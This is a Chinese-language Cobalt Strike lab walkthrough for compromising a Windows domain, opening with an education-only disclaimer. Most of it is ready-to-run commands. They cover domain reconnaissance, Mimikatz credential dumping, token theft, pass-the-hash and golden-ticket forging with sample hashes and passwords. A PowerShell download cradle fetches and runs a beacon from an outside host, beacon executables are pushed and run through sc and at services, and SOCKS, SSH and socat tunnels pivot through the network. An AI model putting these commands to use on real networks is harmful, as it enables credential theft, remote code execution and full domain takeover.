Cobalt Strike 域内渗透
郑重声明:
本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。
1 实验环境
1.1 实验拓扑
1.2 配置 Win08/Win7
在现实企业管理中,因为普通域用户在做一些高级别操作的时候,需要域管理员的账号和密码。有时候用户为了方便就会把普通的域用户增加到目标主机的本地管理员组,所以这里把 tester01 域用户添加至 Win08 与 Win7 的本地管理员组
2 收集域内信息
2.1 查询当前权限
-
获取当前用户与域 SID
whoami /all
-
查询指定用户的详细信息
# 查询本地用户详细信息 net user user01 # 查询域用户详细信息 net user tester01 /domain
2.2 判断是否存在域
-
常用判断命令:
shell ipconfig /all shell systeminfo
-
net view /domain
-
正确输出,说明此台机器在域中;
-
若是此命令在显示域处显示 WORKGROUP,则不存在域;
-
若是报错:发生系统错误 5,则存在域,但该用户不是域用户
-
执行 net view 回显错误解决方案
管理员权限打开 cmd 执行两条命令
net start Browser
net stop mpssvc再次执行 net view 还是提示 6118。退出重新打开cmd,再执行 net view
-
-
shell net config workstation
2.3 查找域控制器
-
net time /domain
会有以下三种情况:
-
存在域,当前用户不是域用户
-
存在域,且当前用户是域用户
-
当前网络环境为工作组,不存在域
-
-
查看域控制器的机器名
nltest /dclist:test
-
查看域控制的主机名
nslookup -type=SRV _ldap._tcp
-
查看域控 IP
ping DC.test.lab nslookup dc # 判断域控制器和DNS 服务器是否在同一服务器上 nslookup test.lab
-
查看域控制的主机名
nslookup -type=SRV _ldap._tcp
-
查看域控制器组
net group "domain controllers" /domain
实际网络中,一个域内一般存在两台或两台以上的域控制器,作为主备。
netdom query pdc
2.4 查询当前域内存活主机
2.4.1 利用 windows 内置命令收集
net group "domain computers" /domain
2.4.2 利用NetBIOS 探测内网
nbtscan - NETBIOS nameserver scanner (unixwiz.net)
NETBIOS 是局域网程序使用的一种应用程序编程接口(API),为程序提供了请求低级服务的统一的命令集,作用是为了给局域网提供网络以及其他特殊功能,几乎所有的局域网都是在NetBIOS协议的基础上工作的。
nbtscan 是一个命令行工具,用于扫描本地和远程 TCP/IP 网络上的开访的 NetBIOS 名称服务器。linux 版本下同。
nbtscan.exe 192.168.0.0/24
2.4.3 利用 ICMP 探测内网
for /L %I in (1,1,254) do @ping -w 1 -n 1 10.1.1.%I | findstr "TTL="
2.5 CS net 收集
# 查看域控
shell nltest /dclist:[domain]
# 当使用 32 位的 payload 运行在 64 位的系统上,并且 nltest 路径不对的时候,可能会提示没有 nltest 这个命令,这时可以尝试使用下面的命令为其指定路径
shell C:\windows\sysnative\nltest /dclist:[domain]
# Beacon 中的 net 模块
net dclist : 列出当前域的域控制器
net dclist [DOMAIN] : 列出指定域的域控制器
net share \\[name] : 列出目标的共享列表
net view : 列出当前域的主机
net view [DOMAIN] : 列出指定域的主机
2.6 利用 powerview 模块收集
# 导入 PowerShell 脚本
powershell-import
PowerTools-2.0\PowerView\powerview.ps1
# 查询本地域信息
powershell Get-NetDomain
# 查看是否存在网络共享
powershell Invoke-ShareFinder
3 判断本地管理员
3.1 确认当前用户是否为本地管理员
-
通过 Windows 内置命令查询
shell net localgroup "administrators"
-
尝试需要管理员账号权限才能执行的命令,通过返回结果判断当前账号是否有管理员权限。
shell dir \\win08\c$ # 由以下结果发现该域账号同时是 win08 的本地管理员
-
利用 powerview 查找本地管理员用户
Invoke-FindLocalAdminAccess
3.2 确认当前用户是否为域管理员
shell net group "enterprise admins" /domain
shell net group "domain admins" /domain
shell net localgroup "administrators" /domain
由以下结果得知,TEST\tester01 不是域管理员
3.3 PowerView 模块找本地管理员
Get-Netlocalgroup -hostname win7
4 利用
如果域用户为其他域成员服务器的本地管理员时,无需恶意软件就可以进行以下操作。
此处以远程主机 win08 作为目标主机进行测试
4.1 文件操作
-
查看文件共享
shell dir \\win08\c$
-
复制文件
shell copy \\win08\c$\users\administrator\desktop\file.txt
-
查看文件列表
shell dir /s /b \\win08\c$\users # 其中 /S 表示列出指定目录及子目录所有文件,/B 表示使用空格式,即没有标题或摘要信息
4.2 利用 WinRM 运行命令
4.2.1 WinRM
WinRM(Windows Remote Management)是Windows对WS-Management的实现,运行在 5985 端口上,WinRM允许远程用户使用工具和脚本对Windows服务器进行管理并获取数据。Server2008 R2中默认开启该服务,从Server2012开始,该服务便集成在系统中默认开启,Win7默认安装此服务,但是默认为禁用状态,Win8,Win10默认开启。这种远程连接不会被客户端察觉到,也不会占用远程连接数。
# 快速在服务端运行winrm
c:\> winrm quickconfig
# 查看winrm的运行情况
c:\> winrm e winrm/config/listener
# 查看winrm的配置
c:\> winrm get winrm/config
# 将service中的allowUnencrypted设置为true,允许未加密的通讯
c:\> winrm set winrm/config/service @{AllowUnencrypted="true"}
# 将client中的基本身份验证设置为true,允许
c:\> winrm set winrm/config/client/auth @{Basic="true"}
# 将client中的allowUnencrypted设置为true,允许未加密的通讯
c:\> winrm set winrm/config/client @{AllowUnencrypted="true"}
# 设置主机信任的客户端地址,这里host1,2,3可以填你所在的客户端机器的ip或者主机名
c:\> winrm set winrm/config/client @{TrustedHosts="host1, host2, host3"}
4.2.2 利用 WinRM 运行命令
powershell Invoke-Command -ComputerName win08 -ScriptBlock{ dir c:\}
# 注:如果命令运行失败可能是因为 WinRM 配置原因,可在远程目标主机的 powershell 环境下运行 winrm quickconfig命令,输入 y 回车即可
4.3 运行 Mimikatz
因为 beacon 上传文件大小限制在1MB,而 Invoke-Mimikatz.ps1 文件大小在 2 MB 多(有600K的版本),因此直接运行 powershell-import 导入该文件会报错,解决方案如下:
-
使用 600K 版本的 Mimikatz
powershell-import # powershell Invoke-Mimikatz -ComputerName TARGET powershell Invoke-Mimikatz -ComputerName win08
-
选择使用 beacon 中的 upload 命令或者在当前会话的 File Browser 图形界面中上传该文件
upload powershell import-module C:\Users\tester01\Invoke-Mimikatz.ps1 # 如果提示:无法将“Invoke-Mimikatz”项识别为 cmdlet、函数……,则可以将两条命令以分号合并在一起运行,即: powershell import-module C:\Users\tester01\Invoke-Mimikatz.ps1;Invoke-Mimikatz -ComputerName win08
-
利用 WinRM 生成 Beacon 会话
powershell Invoke-Command -ComputerName win08 -ScriptBlock{ powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.0.2:280/a'))"}
5 登录认证
5.1 制作登录 Token
Access Token : 保存了当前用户的权限信息,每个进程可能使用不同用户的身份启动,有不同的Access Token。如果我们想以域用户的身份做操作,这个时候就可以获得本地域用户身份的进程,然后进行token窃取。
利用 Win08 主机制作访问域控的 Token
-
查看当前用户身份
getuid
-
查看当前进程,有哪些用户身份
ps
-
对具有高用户身份的进程执行 steal_token 操作
steal_token 2116
-
查看当前用户身份
getuid
-
制作 Token
# make_token domain\user password make_token test\administrator Admin123
-
查看域控的C盘
shell dir \\dc\c$
-
清除 Token
rev2self
5.2 使用 Password
-
当在 Win08 主机上使用域管理员账号进行授权操作时,使用 mimikatz 收集 Win08 主机上的密码,得到域管理员密码
-
建立远程连接
# net use \\host\c$ /user:domain\user password shell net use \\dc\c$ /user:test\administrator Admin123
-
查看域控的C盘
shell dir \\dc\c$
5.3 使用 Password Hash (Pass The Hash)
Pass The Hash 需要操作 lsass.exe 进程,故要执行该操作,需要在高权限情况下。具备Administrator/System权限。
-
当在 Win08 主机上使用域管理员账号进行授权操作时,使用 mimikatz 收集 Win08 主机上域管理员的 NTLM
e45a314c664d40a227f9540121d1a29d
-
在远程主机上进行 Hash 传递攻击
# pth [域\用户名] [NTLM哈希] pth .\administrator e45a314c664d40a227f9540121d1a29d
-
查看域控的C盘
shell dir \\dc\c$
5.4 Golden Ticket
5.4.1 黄金票据利用前提
Kerberos的黄金票据详解 - 渗透测试中心 - 博客园 (cnblogs.com)
域环境中存在SID为502的域账号krbtgt,其是KDC服务使用的账号,属于Domain Admins组,在域环境中,每个用户账号的票据都是由krbtgt生成的,如果攻击者拿到了krbtgt 的 NTLM Hash或者 AES-256值,就可以伪造域内任意用户的身份,并以该用户的身份访问其他服务。
使用域的 Golden Ticket(黄金票据)进行票据传递时需要有以下条件:
- 需要伪造的域管理员用户名。
- 完整的域名。
- 域SID。
- 获得 krbtgt 的 NTLM Hash或AES-256值。
5.4.2 Kerberos 的黄金票据操作过程
-
获取域 SID
shell whoami /user S-1-5-21-1207377116-2664972910-881425611
-
注入票据前权限测试,此时显示拒绝访问
shell dir \\dc\c$
-
列举黄金票据
shell klist # 64位 shell c:\windows\sysnative\klist
-
DC 中 KRBTGT 用户的 NTLM 哈希
# DC 中 KRBTGT 用户的 NTLM 哈希可以通过 dcsync 或 hashdump 获得,也可以使用powershell加载mimikatz获取。 hashdump fa02a0e57e5ba9189d00990ae64e87ce
-
制作黄金票据并注入内存
# Domain 需要填写成 FQDN 格式,即完全合格域名 Fully Qualified Domain Name ,也就是类似于 test.lab 的格式 mimikatz kerberos::golden /user:Administrator /domain:test.lab /sid:S-1-5-21-1207377116-2664972910-881425611 /krbtgt:fa02a0e57e5ba9189d00990ae64e87ce /ptt
-
验证权限
shell dir \\dc\c$
-
其他命令
# 清除当前会话的票据 kerberos_ticket_purge # 从ccache文件中导入票据应用于此会话 kerberos_ccache_use # 从 ticket 文件中导入票据应用于此会话 kerberos_ticket_use
6 内网横向渗透
已知 Win7 登录用户 test\tester01 为 Win08 的本地管理员
shell dir \\win08\c$
6.1 利用 WinRM 运行 Payload
前提:目标主机可以访问互联网,获取的权限为当前执行命令的用户权限
powershell Invoke-Command -ComputerName win08 -ScriptBlock{ powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.0.2:280/a'))" }
6.2 利用 sc 远程执行 Payload 程序
前提:目标主机可以访问互联网,获取的权限为 SYSTEM 权限。
-
生成 Payload 程序
-
上传恶意程序到受控 Win7 主机上
upload C:\\f_carey\Desktop\beacon.exe (C:\Users\tester01\beacon.exe)
-
在受控 Win7 上将 Payload 程序上传到内网 Win08 主机
shell copy C:\Users\tester01\beacon.exe \\win08\c$\windows\temp\beacon.exe
-
win7 上远程创建 Payload 程序服务
shell sc \\win08 create beacon binpath= c:\windows\temp\beacon.exe
-
win7 上远程启用 Payload 程序服务
shell sc \\win08 start beacon
-
win7 上远程删除创建的 Payload 程序服务
shell sc \\win08 delete beacon
6.3 利用 at 远程执行 Payload 程序
-
生成 Payload 程序
-
上传恶意程序到受控 Win7 主机上
upload C:\Users\f_carey\Desktop\artifact.exe (C:\Users\tester01\artifact.exe)
-
在受控 Win7 上将 Payload 程序上传到内网 Win08 主机
shell copy C:\Users\tester01\artifact.exe \\win08\c$\windows\temp\artifact.exe
-
查看 Win08 主机当前时间
shell net time \\win08
-
远程设置执行 Payload 程序的计划
shell at \\win08 9:07:00 c:\windows\temp\artifact.exe
6.4 利用登录认证渗透域控
见第 5 小节
7 内网穿透
7.1 配置 Socks 代理(正向连接)
-
配置 Socks 代理,右击选择:代理转发 - Socks 代理
socks 8888 # 关闭 Socks 代理 socks stop
-
在 CS Server 主机上利用 proxychains 配合 Socks 代理通信
# 配置 proxychains vim /etc/proxychains.conf socks4 127.0.0.1 8888 # nmap 走 Socks 代理 proxychains nmap -Pn -sT -p80 10.1.1.21
-
在 CS Server 主机上利用 MSF 配合 Socks 代理通信
msf6 > setg Proxies socks4:192.168.0.2:8888 Proxies => socks4:192.168.0.2:8888 msf6 > setg ReverseAllowProxy true ReverseAllowProxy => true # 取消 msf 全局代理 unsetg Proxies
7.2 配置转发监听器(反向连接)
注:反向连接需要考虑防火墙放行端口问题
-
选择 Win08 会话,右击选择:代理转发-转发上线(Listener),这里的转发监听器就相当于 Win08 作为一个代理,将流量转发至DC。
# 监听地址应配置内网 IP rportfwd 380 windows/beacon_reverse_tcp
-
生成可执行(s)后门,监听器选择转发监听器
-
查看 Win08 上防火墙是否开启
shell netsh firewall show opmode
-
配置 Win08 的防火墙放行 380 端口
shell netsh firewall add portopening TCP 380 "Listener" ENABLE ALL
-
在 Win08 上对具有域管理员的进程执行 steal_token 操作
steal_token 876
-
将生成的 Payload 后门程序上传到 Win08 目录下,并复制到域控主机上
upload C:\Users\f_carey\Desktop\beacon.exe (C:\Windows\Temp\beacon.exe) shell copy C:\Windows\Temp\beacon.exe \\dc\c$\windows\temp\beacon.exe
-
利用 sc/at 远程执行 Payload
shell sc \\dc create beacon binpath= c:\windows\temp\beacon.exe shell sc \\dc start beacon shell net time \\dc shell at \\dc 10:07:00 c:\windows\temp\beacon.exe
-
获得域控的 beacon 会话
7.3 Cobalt Strike SSH 隧道
SSH 支持双向通信隧道,并会自动加密和解密所有 SSH 客户端与服务端之间的网络数据。将其他 TCP 端口的通信通过 SSH 连接来转发,加密后的数据可以突破防火墙访问规则的限制。
# 建立 SSH 隧道常用参数:
-C
要求进行数据压缩 (包括 stdin, stdout, stderr 以及转发 X11 和 TCP/IP 连接 的数据). 压缩算法和 gzip(1) 的一样, 协议第一版中, 压缩级别 ``level 用 CompressionLevel 选项控制. 压缩技术在 modem 线路或其他慢速连接上很有用, 但是在高速网络上反而 可能降低速度. 可以在配置文件中对每个主机单独设定这个参数. 另见 Compression 选项.
-g
允许远端主机连接本地转发的端口.即复用访问时作为网关,支持多主机访问本地侦听端口网关模式转发RDP、NC shell
-n
把 stdin 重定向到 /dev/null (实际上防止从 stdin 读取数据). 在后台运行时一定会用到这个选项. 它的常用技巧是远程运行 X11 程序. 例如, ssh -n shadows.cs.hut.fi emacs 将会在 shadows.cs.hut.fi 上启动 emacs, 同时自动在加密通道中转发 X11 连接. 在后台运行. (但是如果 要求口令或密语, 这种方式就无法工作; 参见 -f 选项.)
-N
不执行远程命令. 用于转发端口. (仅限协议第二版),即不执行登陆 shell
-f
后台运行程序. 该选项隐含了 -n 选项. 在远端机器上启动 X11 程序的推荐手法就是类似于 ssh -f host xterm 的命令.
-p port
指定远程主机的端口. 可以在配置文件中对每个主机单独设定这个参数.
-q
安静模式. 消除所有的警告和诊断信息.
-L port:host:hostport
将本地机(客户机)的某个端口转发到远端指定机器的指定端口. 工作原理是这样的, 本地机器上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转发出去, 同时远程主机和 host 的 hostport 端口建立连接. 可以在配置文件中指定端口的转发. 只有 root 才能转发特权端口. IPv6 地址用另一种格式说明: port/host/hostport
-R port:host:hostport
将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口. 工作原理是这样的, 远程主机上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转向出去, 同时本地主机和 host 的 hostport 端口建立连接. 可以在配置文件中指定端口的转发. 只有用 root 登录远程主机 才能转发特权端口. IPv6 地址用另一种格式说明: port/host/hostport
-D port
指定一个本地机器动态的应用程序端口转发. 工作原理是这样的, 本地机器上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转发出去, 根据应用程序的协议可以判断出远程主机将和哪里连接. 目前支持 SOCKS4 协议, 将充当 SOCKS4 服务器. 只有 root 才能转发特权端口. 可以在配置文件中指定动态端口的转发.
-T
禁止分配伪终端.
7.3.1 实验环境
-
实验拓扑
-
前提
-
已经获得 Win7 的 Beacon 会话,并将会话配置成交互模式
-
已经得知 WebServer 账号与密码,并且 WebServer 服务器上开启了 SSH 服务
-
已经获得 DC 服务器的登录令牌,且 DC 服务器关闭了防火墙或放行了 445 端口
netsh firewall add portopening TCP 445 "SMB" ENABLE ALL
-
7.3.2 配置 SSH 隧道步骤(SSH Over Socks4)
-
配置 TeamServer 主机
# 1. 配置 CS Server 与 WEB Server 建立动态端口转发 ssh -CNfg -D <local listen port> user@<ssh server> -p <ssh server port> ssh -CNfg -D 1080 root@192.168.0.3 -p 23 # 2. 配置 SSH Over Socks4 端口转发 # 访问 TeamServer 本地 445 端口的数据会被转发到 10.0.0.6 的 445 端口上 socat TCP4-LISTEN:445,fork SOCKS4:localhost:10.0.0.6:445
知识补充:SSH Over SCTP (使用 Socat)
# 远端服务器 # 假设你准备让 SCTP socket 监听端口 80/SCTP 并且 sshd 端口在 22/TCP $ socat SCTP-LISTEN:80,fork TCP:localhost:22 # 本地端 # 将 SERVER_IP 换成远端服务器的地址,然后将 80 换成 SCTP 监听的端口号 $ socat TCP-LISTEN:1337,fork SCTP:SERVER_IP:80 # 创建 socks 代理 # 替换 username 和 -p 的端口号 $ ssh -lusername localhost -D 8080 -p 1337
-
在 CS 中创建 DC 服务器令牌
# make_token domainname\username password make_token DC\Administrator Admin123
-
创建 DC 服务器的 Beacon 会话
# 在 CS 中创建一个 smb-beacon # 通过跳板机创建 DC 服务器的 Beacon 会话 jump psexec_psh 跳板机IP smb-beacon # 此处跳板机为 Teamserver 的 IP,因为在 teamserver 上转发的 445 端口 jump psexec_psh 192.168.0.2 smb-beacon